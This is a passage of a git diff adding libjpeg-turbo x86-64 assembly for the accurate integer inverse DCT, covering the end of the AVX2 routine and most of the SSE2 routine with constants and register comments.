+ tmp3_2L = data0_1L + vpaddd %2, %10, %8 ; %2 = tmp10_11H + tmp3_2H = data0_1H + vpaddd %1, %1, [rel PD_DESCALE_P %+ %13] + vpaddd %2, %2, [rel PD_DESCALE_P %+ %13] + vpsrad %1, %1, DESCALE_P %+ %13 + vpsrad %2, %2, DESCALE_P %+ %13 + vpackssdw %1, %1, %2 ; %1 = data0_1 + + vpsubd %3, %9, %7 ; %3 = tmp10_11L - tmp3_2L = data7_6L + vpsubd %4, %10, %8 ; %4 = tmp10_11H - tmp3_2H = data7_6H + vpaddd %3, %3, [rel PD_DESCALE_P %+ %13] + vpaddd %4, %4, [rel PD_DESCALE_P %+ %13] + vpsrad %3, %3, DESCALE_P %+ %13 + vpsrad %4, %4, DESCALE_P %+ %13 + vpackssdw %4, %3, %4 ; %4 = data7_6 + + vpaddd %7, %11, %5 ; %7 = tmp13_12L + tmp0_1L = data3_2L + vpaddd %8, %12, %6 ; %8 = tmp13_12H + tmp0_1H = data3_2H + vpaddd %7, %7, [rel PD_DESCALE_P %+ %13] + vpaddd %8, %8, [rel PD_DESCALE_P %+ %13] + vpsrad %7, %7, DESCALE_P %+ %13 + vpsrad %8, %8, DESCALE_P %+ %13 + vpackssdw %2, %7, %8 ; %2 = data3_2 + + vpsubd %7, %11, %5 ; %7 = tmp13_12L - tmp0_1L = data4_5L + vpsubd %8, %12, %6 ; %8 = tmp13_12H - tmp0_1H = data4_5H + vpaddd %7, %7, [rel PD_DESCALE_P %+ %13] + vpaddd %8, %8, [rel PD_DESCALE_P %+ %13] + vpsrad %7, %7, DESCALE_P %+ %13 + vpsrad %8, %8, DESCALE_P %+ %13 + vpackssdw %3, %7, %8 ; %3 = data4_5 +%endmacro + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_idct_islow_avx2) + +EXTN(jconst_idct_islow_avx2): + +PW_F130_F054_MF130_F054 times 4 dw (F_0_541 + F_0_765), F_0_541 + times 4 dw (F_0_541 - F_1_847), F_0_541 +PW_MF078_F117_F078_F117 times 4 dw (F_1_175 - F_1_961), F_1_175 + times 4 dw (F_1_175 - F_0_390), F_1_175 +PW_MF060_MF089_MF050_MF256 times 4 dw (F_0_298 - F_0_899), -F_0_899 + times 4 dw (F_2_053 - F_2_562), -F_2_562 +PW_MF089_F060_MF256_F050 times 4 dw -F_0_899, (F_1_501 - F_0_899) + times 4 dw -F_2_562, (F_3_072 - F_2_562) +PD_DESCALE_P1 times 8 dd 1 << (DESCALE_P1 - 1) +PD_DESCALE_P2 times 8 dd 1 << (DESCALE_P2 - 1) +PB_CENTERJSAMP times 32 db CENTERJSAMPLE +PW_1_NEG1 times 8 dw 1 + times 8 dw -1 + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Perform dequantization and inverse DCT on one block of coefficients. +; +; GLOBAL(void) +; jsimd_idct_islow_avx2(void *dct_table, JCOEFPTR coef_block, +; JSAMPARRAY output_buf, JDIMENSION output_col) +; +; r10 = jpeg_component_info *compptr +; r11 = JCOEFPTR coef_block +; r12 = JSAMPARRAY output_buf +; r13d = JDIMENSION output_col + + align 32 + GLOBAL_FUNCTION(jsimd_idct_islow_avx2) + +EXTN(jsimd_idct_islow_avx2): + ENDBR64 + push rbp + mov rbp, rsp ; rbp = aligned rbp + PUSH_XMM 4 + COLLECT_ARGS 4 + + ; ---- Pass 1: process columns. + +%ifndef NO_ZERO_COLUMN_TEST_ISLOW_AVX2 + mov eax, dword [DWBLOCK(1, 0, r11, SIZEOF_JCOEF)] + or eax, dword [DWBLOCK(2, 0, r11, SIZEOF_JCOEF)] + jnz near .columnDCT + + movdqa xmm0, XMMWORD [XMMBLOCK(1, 0, r11, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(2, 0, r11, SIZEOF_JCOEF)] + vpor xmm0, xmm0, XMMWORD [XMMBLOCK(3, 0, r11, SIZEOF_JCOEF)] + vpor xmm1, xmm1, XMMWORD [XMMBLOCK(4, 0, r11, SIZEOF_JCOEF)] + vpor xmm0, xmm0, XMMWORD [XMMBLOCK(5, 0, r11, SIZEOF_JCOEF)] + vpor xmm1, xmm1, XMMWORD [XMMBLOCK(6, 0, r11, SIZEOF_JCOEF)] + vpor xmm0, xmm0, XMMWORD [XMMBLOCK(7, 0, r11, SIZEOF_JCOEF)] + vpor xmm1, xmm1, xmm0 + vpacksswb xmm1, xmm1, xmm1 + vpacksswb xmm1, xmm1, xmm1 + movd eax, xmm1 + test rax, rax + jnz short .columnDCT + + ; -- AC terms all zero + + movdqa xmm5, XMMWORD [XMMBLOCK(0, 0, r11, SIZEOF_JCOEF)] + vpmullw xmm5, xmm5, XMMWORD [XMMBLOCK(0, 0, r10, SIZEOF_ISLOW_MULT_TYPE)] + + vpsllw xmm5, xmm5, PASS1_BITS + + vpunpcklwd xmm4, xmm5, xmm5 ; xmm4 = (00 00 01 01 02 02 03 03) + vpunpckhwd xmm5, xmm5, xmm5 ; xmm5 = (04 04 05 05 06 06 07 07) + vinserti128 ymm4, ymm4, xmm5, 1 + + vpshufd ymm0, ymm4, 0x00 + ; ymm0 = col0_4 = (00 00 00 00 00 00 00 00 04 04 04 04 04 04 04 04) + vpshufd ymm1, ymm4, 0x55 + ; ymm1 = col1_5 = (01 01 01 01 01 01 01 01 05 05 05 05 05 05 05 05) + vpshufd ymm2, ymm4, 0xAA + ; ymm2 = col2_6 = (02 02 02 02 02 02 02 02 06 06 06 06 06 06 06 06) + vpshufd ymm3, ymm4, 0xFF + ; ymm3 = col3_7 = (03 03 03 03 03 03 03 03 07 07 07 07 07 07 07 07) + + jmp near .column_end +%endif +.columnDCT: + + vmovdqu ymm4, YMMWORD [YMMBLOCK(0, 0, r11, SIZEOF_JCOEF)] + ; ymm4 = in0_1 + vmovdqu ymm5, YMMWORD [YMMBLOCK(2, 0, r11, SIZEOF_JCOEF)] + ; ymm5 = in2_3 + vmovdqu ymm6, YMMWORD [YMMBLOCK(4, 0, r11, SIZEOF_JCOEF)] + ; ymm6 = in4_5 + vmovdqu ymm7, YMMWORD [YMMBLOCK(6, 0, r11, SIZEOF_JCOEF)] + ; ymm7 = in6_7 + vpmullw ymm4, ymm4, YMMWORD [YMMBLOCK(0, 0, r10, SIZEOF_ISLOW_MULT_TYPE)] + vpmullw ymm5, ymm5, YMMWORD [YMMBLOCK(2, 0, r10, SIZEOF_ISLOW_MULT_TYPE)] + vpmullw ymm6, ymm6, YMMWORD [YMMBLOCK(4, 0, r10, SIZEOF_ISLOW_MULT_TYPE)] + vpmullw ymm7, ymm7, YMMWORD [YMMBLOCK(6, 0, r10, SIZEOF_ISLOW_MULT_TYPE)] + + vperm2i128 ymm0, ymm4, ymm6, 0x20 ; ymm0 = in0_4 + vperm2i128 ymm1, ymm5, ymm4, 0x31 ; ymm1 = in3_1 + vperm2i128 ymm2, ymm5, ymm7, 0x20 ; ymm2 = in2_6 + vperm2i128 ymm3, ymm7, ymm6, 0x31 ; ymm3 = in7_5 + + DODCT ymm0, ymm1, ymm2, ymm3, ymm4, ymm5, ymm6, ymm7, ymm8, ymm9, ymm10, ymm11, 1 + ; ymm0 = data0_1, ymm1 = data3_2, ymm2 = data4_5, ymm3 = data7_6 + + DOTRANSPOSE ymm0, ymm1, ymm2, ymm3, ymm4, ymm5, ymm6, ymm7 + ; ymm0 = data0_4, ymm1 = data1_5, ymm2 = data2_6, ymm3 = data3_7 + +.column_end: + + ; -- Prefetch the next coefficient block + + prefetchnta [r11 + DCTSIZE2 * SIZEOF_JCOEF + 0 * 32] + prefetchnta [r11 + DCTSIZE2 * SIZEOF_JCOEF + 1 * 32] + prefetchnta [r11 + DCTSIZE2 * SIZEOF_JCOEF + 2 * 32] + prefetchnta [r11 + DCTSIZE2 * SIZEOF_JCOEF + 3 * 32] + + ; ---- Pass 2: process rows. + + vperm2i128 ymm4, ymm3, ymm1, 0x31 ; ymm3 = in7_5 + vperm2i128 ymm1, ymm3, ymm1, 0x20 ; ymm1 = in3_1 + + DODCT ymm0, ymm1, ymm2, ymm4, ymm3, ymm5, ymm6, ymm7, ymm8, ymm9, ymm10, ymm11, 2 + ; ymm0 = data0_1, ymm1 = data3_2, ymm2 = data4_5, ymm4 = data7_6 + + DOTRANSPOSE ymm0, ymm1, ymm2, ymm4, ymm3, ymm5, ymm6, ymm7 + ; ymm0 = data0_4, ymm1 = data1_5, ymm2 = data2_6, ymm4 = data3_7 + + vpacksswb ymm0, ymm0, ymm1 ; ymm0 = data01_45 + vpacksswb ymm1, ymm2, ymm4 ; ymm1 = data23_67 + vpaddb ymm0, ymm0, [rel PB_CENTERJSAMP] + vpaddb ymm1, ymm1, [rel PB_CENTERJSAMP] + + vextracti128 xmm6, ymm1, 1 ; xmm3 = data67 + vextracti128 xmm4, ymm0, 1 ; xmm2 = data45 + vextracti128 xmm2, ymm1, 0 ; xmm1 = data23 + vextracti128 xmm0, ymm0, 0 ; xmm0 = data01 + + vpshufd xmm1, xmm0, 0x4E + ; xmm1 = (10 11 12 13 14 15 16 17 00 01 02 03 04 05 06 07) + vpshufd xmm3, xmm2, 0x4E + ; xmm3 = (30 31 32 33 34 35 36 37 20 21 22 23 24 25 26 27) + vpshufd xmm5, xmm4, 0x4E + ; xmm5 = (50 51 52 53 54 55 56 57 40 41 42 43 44 45 46 47) + vpshufd xmm7, xmm6, 0x4E + ; xmm7 = (70 71 72 73 74 75 76 77 60 61 62 63 64 65 66 67) + + vzeroupper + + mov eax, r13d + + mov rdxp, JSAMPROW [r12 + 0 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rsip, JSAMPROW [r12 + 1 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm0 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm1 + + mov rdxp, JSAMPROW [r12 + 2 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rsip, JSAMPROW [r12 + 3 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm2 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm3 + + mov rdxp, JSAMPROW [r12 + 4 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rsip, JSAMPROW [r12 + 5 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm4 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm5 + + mov rdxp, JSAMPROW [r12 + 6 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + mov rsip, JSAMPROW [r12 + 7 * SIZEOF_JSAMPROW] ; (JSAMPLE *) + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm6 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm7 + + UNCOLLECT_ARGS 4 + POP_XMM 4 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jidctint-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jidctint-sse2.asm new file mode 100755 index 0000000..a3639dd --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jidctint-sse2.asm @@ -0,0 +1,876 @@ +; +; Accurate integer IDCT (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2020, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains a slower but more accurate integer implementation of the +; inverse DCT (Discrete Cosine Transform). The following code is based +; directly on the IJG's original jidctint.c; see jidctint.c for more details. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + +%define CONST_BITS 13 +%define PASS1_BITS 2 + +%define DESCALE_P1 (CONST_BITS - PASS1_BITS) +%define DESCALE_P2 (CONST_BITS + PASS1_BITS + 3) + +%if CONST_BITS == 13 +F_0_298 equ 2446 ; FIX(0.298631336) +F_0_390 equ 3196 ; FIX(0.390180644) +F_0_541 equ 4433 ; FIX(0.541196100) +F_0_765 equ 6270 ; FIX(0.765366865) +F_0_899 equ 7373 ; FIX(0.899976223) +F_1_175 equ 9633 ; FIX(1.175875602) +F_1_501 equ 12299 ; FIX(1.501321110) +F_1_847 equ 15137 ; FIX(1.847759065) +F_1_961 equ 16069 ; FIX(1.961570560) +F_2_053 equ 16819 ; FIX(2.053119869) +F_2_562 equ 20995 ; FIX(2.562915447) +F_3_072 equ 25172 ; FIX(3.072711026) +%else +; NASM cannot do compile-time arithmetic on floating-point constants. +%define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n)) +F_0_298 equ DESCALE( 320652955, 30 - CONST_BITS) ; FIX(0.298631336) +F_0_390 equ DESCALE( 418953276, 30 - CONST_BITS) ; FIX(0.390180644) +F_0_541 equ DESCALE( 581104887, 30 - CONST_BITS) ; FIX(0.541196100) +F_0_765 equ DESCALE( 821806413, 30 - CONST_BITS) ; FIX(0.765366865) +F_0_899 equ DESCALE( 966342111, 30 - CONST_BITS) ; FIX(0.899976223) +F_1_175 equ DESCALE(1262586813, 30 - CONST_BITS) ; FIX(1.175875602) +F_1_501 equ DESCALE(1612031267, 30 - CONST_BITS) ; FIX(1.501321110) +F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065) +F_1_961 equ DESCALE(2106220350, 30 - CONST_BITS) ; FIX(1.961570560) +F_2_053 equ DESCALE(2204520673, 30 - CONST_BITS) ; FIX(2.053119869) +F_2_562 equ DESCALE(2751909506, 30 - CONST_BITS) ; FIX(2.562915447) +F_3_072 equ DESCALE(3299298341, 30 - CONST_BITS) ; FIX(3.072711026) +%endif + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_idct_islow_sse2) + +EXTN(jconst_idct_islow_sse2): + +PW_F130_F054 times 4 dw (F_0_541 + F_0_765), F_0_541 +PW_F054_MF130 times 4 dw F_0_541, (F_0_541 - F_1_847) +PW_MF078_F117 times 4 dw (F_1_175 - F_1_961), F_1_175 +PW_F117_F078 times 4 dw F_1_175, (F_1_175 - F_0_390) +PW_MF060_MF089 times 4 dw (F_0_298 - F_0_899), -F_0_899 +PW_MF089_F060 times 4 dw -F_0_899, (F_1_501 - F_0_899) +PW_MF050_MF256 times 4 dw (F_2_053 - F_2_562), -F_2_562 +PW_MF256_F050 times 4 dw -F_2_562, (F_3_072 - F_2_562) +PD_DESCALE_P1 times 4 dd 1 << (DESCALE_P1 - 1) +PD_DESCALE_P2 times 4 dd 1 << (DESCALE_P2 - 1) +PB_CENTERJSAMP times 16 db CENTERJSAMPLE + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Perform dequantization and inverse DCT on one block of coefficients. +; +; GLOBAL(void) +; jsimd_idct_islow_sse2(void *dct_table, JCOEFPTR coef_block, +; JSAMPARRAY output_buf, JDIMENSION output_col) +; +; r10 = jpeg_component_info *compptr +; r11 = JCOEFPTR coef_block +; r12 = JSAMPARRAY output_buf +; r13d = JDIMENSION output_col + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD + ; xmmword wk[WK_NUM] +%define WK_NUM 12 + + align 32 + GLOBAL_FUNCTION(jsimd_idct_islow_sse2) + +EXTN(jsimd_idct_islow_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 4 + + ; ---- Pass 1: process columns from input. + + mov rdx, r10 ; quantptr + mov rsi, r11 ; inptr + +%ifndef NO_ZERO_COLUMN_TEST_ISLOW_SSE2 + mov eax, dword [DWBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + or eax, dword [DWBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + jnz near .columnDCT + + movdqa xmm0, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + por xmm1, XMMWORD [XMMBLOCK(4, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + por xmm1, XMMWORD [XMMBLOCK(6, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + por xmm1, xmm0 + packsswb xmm1, xmm1 + packsswb xmm1, xmm1 + movd eax, xmm1 + test rax, rax + jnz short .columnDCT + + ; -- AC terms all zero + + movdqa xmm5, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm5, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + psllw xmm5, PASS1_BITS + + movdqa xmm4, xmm5 ; xmm5 = in0 = (00 01 02 03 04 05 06 07) + punpcklwd xmm5, xmm5 ; xmm5 = (00 00 01 01 02 02 03 03) + punpckhwd xmm4, xmm4 ; xmm4 = (04 04 05 05 06 06 07 07) + + pshufd xmm7, xmm5, 0x00 ; xmm7 = col0 = (00 00 00 00 00 00 00 00) + pshufd xmm6, xmm5, 0x55 ; xmm6 = col1 = (01 01 01 01 01 01 01 01) + pshufd xmm1, xmm5, 0xAA ; xmm1 = col2 = (02 02 02 02 02 02 02 02) + pshufd xmm5, xmm5, 0xFF ; xmm5 = col3 = (03 03 03 03 03 03 03 03) + pshufd xmm0, xmm4, 0x00 ; xmm0 = col4 = (04 04 04 04 04 04 04 04) + pshufd xmm3, xmm4, 0x55 ; xmm3 = col5 = (05 05 05 05 05 05 05 05) + pshufd xmm2, xmm4, 0xAA ; xmm2 = col6 = (06 06 06 06 06 06 06 06) + pshufd xmm4, xmm4, 0xFF ; xmm4 = col7 = (07 07 07 07 07 07 07 07) + + movdqa XMMWORD [wk(8)], xmm6 ; wk(8) = col1 + movdqa XMMWORD [wk(9)], xmm5 ; wk(9) = col3 + movdqa XMMWORD [wk(10)], xmm3 ; wk(10) = col5 + movdqa XMMWORD [wk(11)], xmm4 ; wk(11) = col7 + jmp near .column_end +%endif +.columnDCT: + + ; -- Even part + + movdqa xmm0, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm0, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm1, XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + movdqa xmm2, XMMWORD [XMMBLOCK(4, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm3, XMMWORD [XMMBLOCK(6, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm2, XMMWORD [XMMBLOCK(4, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm3, XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + ; (Original) + ; z1 = (z2 + z3) * 0.541196100; + ; tmp2 = z1 + z3 * -1.847759065; + ; tmp3 = z1 + z2 * 0.765366865; + ; + ; (This implementation) + ; tmp2 = z2 * 0.541196100 + z3 * (0.541196100 - 1.847759065); + ; tmp3 = z2 * (0.541196100 + 0.765366865) + z3 * 0.541196100; + + movdqa xmm4, xmm1 ; xmm1 = in2 = z2 + movdqa xmm5, xmm1 + punpcklwd xmm4, xmm3 ; xmm3 = in6 = z3 + punpckhwd xmm5, xmm3 + movdqa xmm1, xmm4 + movdqa xmm3, xmm5 + pmaddwd xmm4, [rel PW_F130_F054] ; xmm4 = tmp3L + pmaddwd xmm5, [rel PW_F130_F054] ; xmm5 = tmp3H + pmaddwd xmm1, [rel PW_F054_MF130] ; xmm1 = tmp2L + pmaddwd xmm3, [rel PW_F054_MF130] ; xmm3 = tmp2H + + movdqa xmm6, xmm0 + paddw xmm0, xmm2 ; xmm0 = in0 + in4 + psubw xmm6, xmm2 ; xmm6 = in0 - in4 + + pxor xmm7, xmm7 + pxor xmm2, xmm2 + punpcklwd xmm7, xmm0 ; xmm7 = tmp0L + punpckhwd xmm2, xmm0 ; xmm2 = tmp0H + psrad xmm7, (16 - CONST_BITS) + ; psrad xmm7, 16 & pslld xmm7, CONST_BITS + psrad xmm2, (16 - CONST_BITS) + ; psrad xmm2, 16 & pslld xmm2, CONST_BITS + + movdqa xmm0, xmm7 + paddd xmm7, xmm4 ; xmm7 = tmp10L + psubd xmm0, xmm4 ; xmm0 = tmp13L + movdqa xmm4, xmm2 + paddd xmm2, xmm5 ; xmm2 = tmp10H + psubd xmm4, xmm5 ; xmm4 = tmp13H + + movdqa XMMWORD [wk(0)], xmm7 ; wk(0) = tmp10L + movdqa XMMWORD [wk(1)], xmm2 ; wk(1) = tmp10H + movdqa XMMWORD [wk(2)], xmm0 ; wk(2) = tmp13L + movdqa XMMWORD [wk(3)], xmm4 ; wk(3) = tmp13H + + pxor xmm5, xmm5 + pxor xmm7, xmm7 + punpcklwd xmm5, xmm6 ; xmm5 = tmp1L + punpckhwd xmm7, xmm6 ; xmm7 = tmp1H + psrad xmm5, (16 - CONST_BITS) + ; psrad xmm5, 16 & pslld xmm5, CONST_BITS + psrad xmm7, (16 - CONST_BITS) + ; psrad xmm7, 16 & pslld xmm7, CONST_BITS + + movdqa xmm2, xmm5 + paddd xmm5, xmm1 ; xmm5 = tmp11L + psubd xmm2, xmm1 ; xmm2 = tmp12L + movdqa xmm0, xmm7 + paddd xmm7, xmm3 ; xmm7 = tmp11H + psubd xmm0, xmm3 ; xmm0 = tmp12H + + movdqa XMMWORD [wk(4)], xmm5 ; wk(4) = tmp11L + movdqa XMMWORD [wk(5)], xmm7 ; wk(5) = tmp11H + movdqa XMMWORD [wk(6)], xmm2 ; wk(6) = tmp12L + movdqa XMMWORD [wk(7)], xmm0 ; wk(7) = tmp12H + + ; -- Odd part + + movdqa xmm4, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm6, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm4, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm6, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + movdqa xmm1, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm3, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm1, XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + pmullw xmm3, XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + movdqa xmm5, xmm6 + movdqa xmm7, xmm4 + paddw xmm5, xmm3 ; xmm5 = z3 + paddw xmm7, xmm1 ; xmm7 = z4 + + ; (Original) + ; z5 = (z3 + z4) * 1.175875602; + ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; + ; z3 += z5; z4 += z5; + ; + ; (This implementation) + ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; + ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); + + movdqa xmm2, xmm5 + movdqa xmm0, xmm5 + punpcklwd xmm2, xmm7 + punpckhwd xmm0, xmm7 + movdqa xmm5, xmm2 + movdqa xmm7, xmm0 + pmaddwd xmm2, [rel PW_MF078_F117] ; xmm2 = z3L + pmaddwd xmm0, [rel PW_MF078_F117] ; xmm0 = z3H + pmaddwd xmm5, [rel PW_F117_F078] ; xmm5 = z4L + pmaddwd xmm7, [rel PW_F117_F078] ; xmm7 = z4H + + movdqa XMMWORD [wk(10)], xmm2 ; wk(10) = z3L + movdqa XMMWORD [wk(11)], xmm0 ; wk(11) = z3H + + ; (Original) + ; z1 = tmp0 + tmp3; z2 = tmp1 + tmp2; + ; tmp0 = tmp0 * 0.298631336; tmp1 = tmp1 * 2.053119869; + ; tmp2 = tmp2 * 3.072711026; tmp3 = tmp3 * 1.501321110; + ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; + ; tmp0 += z1 + z3; tmp1 += z2 + z4; + ; tmp2 += z2 + z3; tmp3 += z1 + z4; + ; + ; (This implementation) + ; tmp0 = tmp0 * (0.298631336 - 0.899976223) + tmp3 * -0.899976223; + ; tmp1 = tmp1 * (2.053119869 - 2.562915447) + tmp2 * -2.562915447; + ; tmp2 = tmp1 * -2.562915447 + tmp2 * (3.072711026 - 2.562915447); + ; tmp3 = tmp0 * -0.899976223 + tmp3 * (1.501321110 - 0.899976223); + ; tmp0 += z3; tmp1 += z4; + ; tmp2 += z3; tmp3 += z4; + + movdqa xmm2, xmm3 + movdqa xmm0, xmm3 + punpcklwd xmm2, xmm4 + punpckhwd xmm0, xmm4 + movdqa xmm3, xmm2 + movdqa xmm4, xmm0 + pmaddwd xmm2, [rel PW_MF060_MF089] ; xmm2 = tmp0L + pmaddwd xmm0, [rel PW_MF060_MF089] ; xmm0 = tmp0H + pmaddwd xmm3, [rel PW_MF089_F060] ; xmm3 = tmp3L + pmaddwd xmm4, [rel PW_MF089_F060] ; xmm4 = tmp3H + + paddd xmm2, XMMWORD [wk(10)] ; xmm2 = tmp0L + paddd xmm0, XMMWORD [wk(11)] ; xmm0 = tmp0H + paddd xmm3, xmm5 ; xmm3 = tmp3L + paddd xmm4, xmm7 ; xmm4 = tmp3H + + movdqa XMMWORD [wk(8)], xmm2 ; wk(8) = tmp0L + movdqa XMMWORD [wk(9)], xmm0 ; wk(9) = tmp0H + + movdqa xmm2, xmm1 + movdqa xmm0, xmm1 + punpcklwd xmm2, xmm6 + punpckhwd xmm0, xmm6 + movdqa xmm1, xmm2 + movdqa xmm6, xmm0 + pmaddwd xmm2, [rel PW_MF050_MF256] ; xmm2 = tmp1L + pmaddwd xmm0, [rel PW_MF050_MF256] ; xmm0 = tmp1H + pmaddwd xmm1, [rel PW_MF256_F050] ; xmm1 = tmp2L + pmaddwd xmm6, [rel PW_MF256_F050] ; xmm6 = tmp2H + + paddd xmm2, xmm5 ; xmm2 = tmp1L + paddd xmm0, xmm7 ; xmm0 = tmp1H + paddd xmm1, XMMWORD [wk(10)] ; xmm1 = tmp2L + paddd xmm6, XMMWORD [wk(11)] ; xmm6 = tmp2H + + movdqa XMMWORD [wk(10)], xmm2 ; wk(10) = tmp1L + movdqa XMMWORD [wk(11)], xmm0 ; wk(11) = tmp1H + + ; -- Final output stage + + movdqa xmm5, XMMWORD [wk(0)] ; xmm5 = tmp10L + movdqa xmm7, XMMWORD [wk(1)] ; xmm7 = tmp10H + + movdqa xmm2, xmm5 + movdqa xmm0, xmm7 + paddd xmm5, xmm3 ; xmm5 = data0L + paddd xmm7, xmm4 ; xmm7 = data0H + psubd xmm2, xmm3 ; xmm2 = data7L + psubd xmm0, xmm4 ; xmm0 = data7H + + movdqa xmm3, [rel PD_DESCALE_P1] ; xmm3 = [rel PD_DESCALE_P1] + + paddd xmm5, xmm3 + paddd xmm7, xmm3 + psrad xmm5, DESCALE_P1 + psrad xmm7, DESCALE_P1 + paddd xmm2, xmm3 + paddd xmm0, xmm3 + psrad xmm2, DESCALE_P1 + psrad xmm0, DESCALE_P1 + + packssdw xmm5, xmm7 ; xmm5 = data0 = (00 01 02 03 04 05 06 07) + packssdw xmm2, xmm0 ; xmm2 = data7 = (70 71 72 73 74 75 76 77) + + movdqa xmm4, XMMWORD [wk(4)] ; xmm4 = tmp11L + movdqa xmm3, XMMWORD [wk(5)] ; xmm3 = tmp11H + + movdqa xmm7, xmm4 + movdqa xmm0, xmm3 + paddd xmm4, xmm1 ; xmm4 = data1L + paddd xmm3, xmm6 ; xmm3 = data1H + psubd xmm7, xmm1 ; xmm7 = data6L + psubd xmm0, xmm6 ; xmm0 = data6H + + movdqa xmm1, [rel PD_DESCALE_P1] ; xmm1 = [rel PD_DESCALE_P1] + + paddd xmm4, xmm1 + paddd xmm3, xmm1 + psrad xmm4, DESCALE_P1 + psrad xmm3, DESCALE_P1 + paddd xmm7, xmm1 + paddd xmm0, xmm1 + psrad xmm7, DESCALE_P1 + psrad xmm0, DESCALE_P1 + + packssdw xmm4, xmm3 ; xmm4 = data1 = (10 11 12 13 14 15 16 17) + packssdw xmm7, xmm0 ; xmm7 = data6 = (60 61 62 63 64 65 66 67) + + movdqa xmm6, xmm5 ; transpose coefficients(phase 1) + punpcklwd xmm5, xmm4 ; xmm5 = (00 10 01 11 02 12 03 13) + punpckhwd xmm6, xmm4 ; xmm6 = (04 14 05 15 06 16 07 17) + movdqa xmm1, xmm7 ; transpose coefficients(phase 1) + punpcklwd xmm7, xmm2 ; xmm7 = (60 70 61 71 62 72 63 73) + punpckhwd xmm1, xmm2 ; xmm1 = (64 74 65 75 66 76 67 77) + + movdqa xmm3, XMMWORD [wk(6)] ; xmm3 = tmp12L + movdqa xmm0, 